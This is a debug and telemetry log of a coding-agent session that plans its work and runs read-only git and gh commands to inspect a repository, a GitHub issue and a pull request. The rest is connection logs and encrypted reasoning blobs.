issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\\nREADME.md\\nCONTRIBUTING.md\\nchangelog.d/README.md\\ndocs/plan/README.md\\ndocs/case-studies/issue-1/README.md\\ndocs/case-studies/issue-21/README.md\\ndocs/case-studies/issue-11/README.md\\ndocs/case-studies/issue-25/README.md\\ndocs/case-studies/issue-32/README.md\\ndocs/case-studies/issue-34/README.md\\ndocs/case-studies/issue-3/README.md\\ndocs/case-studies/issue-17/README.md\\ndocs/case-studies/issue-29/README.md\\ndocs/case-studies/issue-19/README.md\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:26.991Z] [INFO] \n[2026-07-12T04:02:27.007Z] [INFO] 2026-07-12T04:02:26.990653Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-efc84b53-6625-4e81-ade8-62748e5a1cbd arguments={\"cmd\":\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":20000} duration_ms=139 success=true output=Chunk ID: 5821fa\n[2026-07-12T04:02:27.007Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:02:27.007Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:27.007Z] [INFO] Original token count: 137\n[2026-07-12T04:02:27.007Z] [INFO] Output:\n[2026-07-12T04:02:27.007Z] [INFO] /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:27.007Z] [INFO] issue-5-e2602184e2c5\n[2026-07-12T04:02:27.007Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:02:27.007Z] [INFO] README.md\n[2026-07-12T04:02:27.007Z] [INFO] CONTRIBUTING.md\n[2026-07-12T04:02:27.007Z] [INFO] changelog.d/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/plan/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:27.007Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:26.887Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.007Z] [INFO] 2026-07-12T04:02:26.990694Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-efc84b53-6625-4e81-ade8-62748e5a1cbd duration_ms=139 success=true arguments_length=301 output_length=650 output_line_count=22 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:26.990Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.007Z] [INFO] \n[2026-07-12T04:02:27.014Z] [INFO] 2026-07-12T04:02:27.007294Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zBUDLr3OgQwwGYXSpzH8j3zz arguments=const p = await tools.update_plan({plan:[\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"in_progress\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Implement the smallest complete fix and any required release metadata\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:02:27.014Z] [INFO] ]});\n[2026-07-12T04:02:27.014Z] [INFO] const r = await tools.exec_command({cmd:\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":20000});\n[2026-07-12T04:02:27.014Z] [INFO] text(r.output);\n[2026-07-12T04:02:27.014Z] [INFO]  duration_ms=406 success=true output=Script completed\n[2026-07-12T04:02:27.014Z] [INFO] Wall time 0.4 seconds\n[2026-07-12T04:02:27.014Z] [INFO] Output:\n[2026-07-12T04:02:27.014Z] [INFO] \n[2026-07-12T04:02:27.014Z] [INFO] /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:27.014Z] [INFO] issue-5-e2602184e2c5\n[2026-07-12T04:02:27.014Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:02:27.014Z] [INFO] README.md\n[2026-07-12T04:02:27.014Z] [INFO] CONTRIBUTING.md\n[2026-07-12T04:02:27.014Z] [INFO] changelog.d/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/plan/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:27.014Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:27.007Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.014Z] [INFO] 2026-07-12T04:02:27.007933Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zBUDLr3OgQwwGYXSpzH8j3zz duration_ms=406 success=true arguments_length=1031 output_length=594 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:27.007Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.014Z] [INFO] 2026-07-12T04:02:27.008164Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_zBUDLr3OgQwwGYXSpzH8j3zz tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=407 total_duration_ms=407\n[2026-07-12T04:02:27.014Z] [INFO] \n[2026-07-12T04:02:27.070Z] [INFO] 2026-07-12T04:02:27.062656Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:27.070Z] [INFO] \n[2026-07-12T04:02:27.127Z] [INFO] 2026-07-12T04:02:27.126682Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:27.127Z] [INFO] \n[2026-07-12T04:02:27.134Z] [INFO] 2026-07-12T04:02:27.130491Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:27.134Z] [INFO] \n[2026-07-12T04:02:27.139Z] [INFO] 2026-07-12T04:02:27.137113Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:27.139Z] [INFO] \n[2026-07-12T04:02:27.144Z] [INFO] 2026-07-12T04:02:27.143816Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:27.144Z] [INFO] \n[2026-07-12T04:02:27.155Z] [INFO] 2026-07-12T04:02:27.151610Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:27.151Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.155Z] [INFO] 2026-07-12T04:02:27.151675Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:27.151Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.155Z] [INFO] 2026-07-12T04:02:27.151690Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:27.155Z] [INFO] \n[2026-07-12T04:02:27.238Z] [INFO] 2026-07-12T04:02:27.238498Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:27.238Z] [INFO] \n[2026-07-12T04:02:27.257Z] [INFO] 2026-07-12T04:02:27.239268Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:27 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"06c5e389-8742-4efc-9273-ac97233e22b9\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=9w7Zm2ylZ%2BNrL2FabXwzJ%2FLaAwUdsjUUF4tnd1f7fNQyXCKl7zth36CLLTPH9nf%2FIkpZ9YgoI1xfVxmlIqrC%2F9l5DM%2FHBXslpa%2FUsn1CJyDzHYFpw60IR2AW2GLD\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d2707d92dd27c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:27.257Z] [INFO] \n[2026-07-12T04:02:27.481Z] [INFO] 2026-07-12T04:02:27.477887Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:27.481Z] [INFO] \n[2026-07-12T04:02:27.535Z] [INFO] 2026-07-12T04:02:27.535383Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:27.535Z] [INFO] \n[2026-07-12T04:02:27.552Z] [INFO] 2026-07-12T04:02:27.551408Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:27.552Z] [INFO] \n[2026-07-12T04:02:27.556Z] [INFO] 2026-07-12T04:02:27.553094Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:27.556Z] [INFO] \n[2026-07-12T04:02:27.565Z] [INFO] 2026-07-12T04:02:27.561502Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:27.565Z] [INFO] \n[2026-07-12T04:02:28.838Z] [INFO] 2026-07-12T04:02:28.837399Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:28.838Z] [INFO] \n[2026-07-12T04:02:28.892Z] [INFO] 2026-07-12T04:02:28.890176Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:28.892Z] [INFO] \n[2026-07-12T04:02:28.952Z] [INFO] 2026-07-12T04:02:28.951365Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:28.952Z] [INFO] \n[2026-07-12T04:02:28.966Z] [INFO] 2026-07-12T04:02:28.965541Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311d4f3a081919e8d9e58e83cbaf6\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHUvex_28WDj637jWK7NHZfDtS6Vmh56vIU-tlviFJEYKeU_2MGDOi22H_6G4ysW9oiQkRlqCyVqnKs-JtFKTRD4QjArQrArtFnNL3Ku-D3eAirrLel7KcAPEIg_N9r-tR0uUq8BQhsztFBrlPe8g2WEUmuWLxDkXwMP5KhQ7b808JCq63C02w5CCKN5hgBJfe_99gyueHt7P8QRvunli4UjIkCTKtdSmnVN7Uj1N7BpjvMoCpo31i1irtFZIccXm8_O040m5_WLu7zEKBB8t8L2TTD5KOxMm2Ig3Pjhg3QHwvrEI8HxB8HdMD10yiVm409fFwUf40JACqdzjaplZzUO1TZ39Mr19t2n3-OGrRbl6A48Y85cc6tc_McPRca2_nSN4VY133eC9lNivW9JvimAYVAUSTaUL0MsMn2ssJ3VAS5BT4o3tlc11z_gJXuaCMdqcm0pxLxFQYEc2XKvx_OLvDXus6YZSssDcaGKDkJdk5UX7sZ8uYsqOEumH6g3uhkOg3tDwfUcizvz7ENVyneCvF5AWSpAnH3T66ewGW3cDDF_bskAj167Ydj9RIOROG2o16qp2x5KGwh3QXVG0hV4LBclw0vq7pbHbQ5ReBfr1p0RkwNFeQqmAuF1GsoI0bOI-hSV8_qLo16aTQ6H1cVGEPqd-bMR95z1b_bRtWxxF79eM_2Za53nFbl49u3DocgR7BQikGmAXXqyXydMzt6ONg2h1lVpXSCu7p5RV4a4yoMmcYLKc12dkgmmQgRcLp-QAqItfIVV0D6AzHOsxhL20k1ZmOX-UXRXkJgMsOpKvCyDxArF2m7dlk0kOGPU6N17inOulXZ5GjdtgxQbKYx0KJZabLxqPGkT46TMG7sAKL42IOM-lIyqpb1bhDmE_LuNC4f_tgWooyIWPnu9LAhnA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:28.966Z] [INFO] \n[2026-07-12T04:02:28.974Z] [INFO] 2026-07-12T04:02:28.973571Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:28.974Z] [INFO] \n[2026-07-12T04:02:28.975Z] [INFO] 2026-07-12T04:02:28.975545Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:28.975Z] [INFO] \n[2026-07-12T04:02:28.984Z] [INFO] 2026-07-12T04:02:28.984500Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:28.984Z] [INFO] \n[2026-07-12T04:02:29.897Z] [INFO] 2026-07-12T04:02:29.882579Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311d4f3a081919e8d9e58e83cbaf6\"), summary: [SummaryText { text: \"**Implementing parallel GitHub fetch**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHVy4LJESO40Kd3nxIHZBMR7QUkPQSN1vNi5e3P74s9LCIAQEb345xN_8zDka8psT_LvGBhU8uylY1Jz8ZhxAnaNfvdpoAbDp88WI0OS48vAyV_MdX__qbjX7JlCjPpAVQu12CaFy2rjd98g_K1vXQUoNJwPI43UrAvJ3Pa0dGxbg5n1xTrp_jprjScwXTb1Mea-qqyg397s2TjnYCu3LCFmOWv37cLYu7Dr4RRM9I-YscmNFqm9NTW5Iicg_juGhtHDstj5QfWB_tPSw_Glhpei_1a-qE3LaDi1VtkaD9wnD8C8PqUowOmFDLh4hTPMKI9Pue4Qkg2IEhanvKXSwiwbBVN2uG114JR3P5XafXXFweWZsSimcihuf7jzjoIAd6kzwmsnl9h4wA-E_Sj5tCoc8ebp7FAensik9d9n_OPmsYSs9CVgvjEle8SIN4t7POyGNmdiWHAqkAapaRtUq0McDOuR9hpr4gErOzp9kTYdFmeuUPsPaCy26bbGR1BBF2STHB-H8q4CMrrzoTPyj7sYk0sq1I_2jaXiiHQMaIKPeCh7VOoehCAh4mqRTXEiZW6hy0od-KhNLO2Hais-di2FFXyduGo7j3LHfQdJ4fgbarc4-E2Vj_B0oWP-11Sd3u3E_qpQfewLUkeKHpESG8Iv8P45NjYLnp8WBWlLtURl8uQsZmRsngFIKvnqEF1hYca5SqO_6fcwSSbMZx2rY-IbuYb2HrvLxhEABTRRSYX1vH-l8yDgruPX_R_bqE-zQhc9C1J3og-UIX8znl2nRNS8O2eM6XB5yXIJejDxCubOVHeqq3a6RoCvF5QqNmpt-ScpOY-utdGDSMJeKnXdzjOZL2W7wYs9N0K06K5-ZVSnGBEElSXa0FQZzK-HwSHlcVnGgq7EarVQS09Kkn4oqQPPeFQKqEmBvRTAuVziAxpOPt6JQRRI8bBYYMXGNo7SKeC-gs3a5Sh8HfuMdIeIbmugg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:29.897Z] [INFO] 2026-07-12T04:02:29.883814Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311d5d04c8191b46cc81d56b100c2\"), status: Some(\"in_progress\"), call_id: \"call_0Pxj9KE5sHlOquC086wVDtFa\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:29.897Z] [INFO] \n[2026-07-12T04:02:29.899Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_3\",\"type\":\"reasoning\",\"text\":\"**Implementing parallel GitHub fetch**\"}}\n[2026-07-12T04:02:29.899Z] [INFO] \n[2026-07-12T04:02:30.021Z] [INFO] 2026-07-12T04:02:30.019369Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:30.021Z] [INFO] \n[2026-07-12T04:02:35.053Z] [INFO] 2026-07-12T04:02:35.047374Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const cmds = [\n[2026-07-12T04:02:35.053Z] [INFO]   [\"issue\",\"gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"issue_comments\",\"gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr\",\"gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr_inline\",\"gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr_conversation\",\"gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr_reviews\",\"gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"repo\",\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\"]\n[2026-07-12T04:02:35.053Z] [INFO] ];\n[2026-07-12T04:02:35.053Z] [INFO] const results = await Promise.all(cmds.map(async ([name,cmd]) => [name, await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:02:35.053Z] [INFO] for (const [name,r] of results) { text(`===== ${name} =====\\n${r.output}`); }\n[2026-07-12T04:02:35.053Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:35.053Z] [INFO] \n[2026-07-12T04:02:35.080Z] [INFO] 2026-07-12T04:02:35.052653Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311d338988191938023e0e06131e9\"\n[2026-07-12T04:02:35.080Z] [INFO] 2026-07-12T04:02:35.052692Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15648 output_token_count=336 cached_token_count=14080 reasoning_token_count=13 tool_token_count=15984 ttft_ms=1816 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:35.052Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.080Z] [INFO] 2026-07-12T04:02:35.052717Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15648 output_token_count=336 cached_token_count=14080 reasoning_token_count=13 tool_token_count=15984 ttft_ms=1816 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:35.052Z 